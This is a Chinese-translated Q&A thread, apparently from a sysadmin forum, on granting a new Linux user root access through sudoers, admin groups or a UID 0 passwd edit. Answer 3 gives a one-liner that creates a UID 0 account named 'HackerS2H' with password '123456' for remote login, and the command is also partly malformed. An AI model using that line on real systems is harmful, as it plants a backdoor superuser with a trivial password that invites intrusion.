我想添加新用户并让/授予该新用户所有根访问权限,我该怎么做?
我照做了sudo adduser --system testuser
,但是并没有达到我预期的效果。
感谢帮助。
答案1
实际上有三种方法可以做到这一点:正确的方法,错误的方法和丑陋的方法。
首先,创建一个普通的用户帐号。
adduser username
然后选择下列选项之一:
正确的方式
像这样sudo
为该wheel
组创建一个条目:/etc/sudoers
## Allows people in group wheel to run all commands
%wheel ALL=(ALL) ALL
或者对于“现代”版本:
## Allows people in group sudoers to run all commands
%sudoers ALL=(ALL) ALL
然后将用户添加到wheel
组。添加和删除具有管理权限的用户现在变成了记住将他们添加到 wheel 的功能,而不是在 sudo 中创建条目。使用 wheel 的好处是,您可以将此机制扩展到支持组的其他身份验证方案,即 winbind/Active Directory,并在该过程中获得好处。您可以通过将 wheel 映射到身份验证方案中具有管理员权限的组来实现这一点。
请注意,某些发行版使用不同的管理帐户。Wheel 是一种“传统”方法,但您可能会遇到admin
、adm
和其他具有相同用途的组帐户。
后续编辑:
我必须指出巴特·西尔弗斯特里姆指出 Ubuntuadmin
将此用作该目的的组。他首先提到了这一点,尽管我当时没有注意到 Ubuntu 标签。同样,这完全取决于您使用的发行版。
丑陋的方式
为相关用户帐户创建 sudo 条目并授予其完全访问权限。同样,您可以/etc/sudoers
像这样创建条目:
## Allows just user "username" to run all commands as root
username ALL=(ALL) ALL
添加:## 对于 Ubuntu 版本:用户名 ALL=(ALL:ALL)
如果您只有一个(或两个)普通帐户,那么这很好。如果您在多个(地球物理)站点上有一百个帐户,并且必须不断维护 sudo 文件,那么这很糟糕。
错误的方法
您可以编辑该/etc/passwd
文件并将用户帐户 ID 从任意数字更改为0
。没错,零。
username:x:0:502::/home/username:/bin/bash
看到第三个条目为零了吗?当您登录该帐户时,出于所有有效目的,您都是root
。 我不推荐这样做。 如果您不记得“您是谁”,当您开始以 的身份创建和接触文件时,您可能会造成各种混乱root
。您也可以将您的用户名添加到root
组中。这对文件访问具有相同的效果,但它会产生其他问题;程序会注意到您不是用户 root
并拒绝运行,但您将获得对属于团体 root
。
如果您这样做了,那么您确实使用了,vipw
而不仅仅是使用vi
,对吗?(或者任何您最喜欢的文本编辑器)毕竟,此文件中的一个拼写错误就可能将您锁定在系统之外 - 这意味着您需要携带修复光盘亲自访问有问题的计算机......
答案2
我已经用这个很多年了,它是在 AskUbuntu 上添加 sudoer 的推荐方法 #1:
adduser existinguser sudo
比编辑文件简单得多,并且易于放入 shell 脚本以实现无人值守安装。
如果您想创建用户并授予 sudo 权限,您可以像这样在一行中完成:
useradd newuser -m -G sudo
passwd newuser
-m
创建了一个主目录,并-G
指定了一个补充组。
答案3
这是 100%:
adduser -u 0 -g root -G root -s /bin/bash -r HackerS2H -p 123456
并使用 putty 和 ip 服务器进行连接
答案4
您可以执行:
#useradd -m -g root alex
它创建一个属于 root 组的用户 Alex,该用户有主目录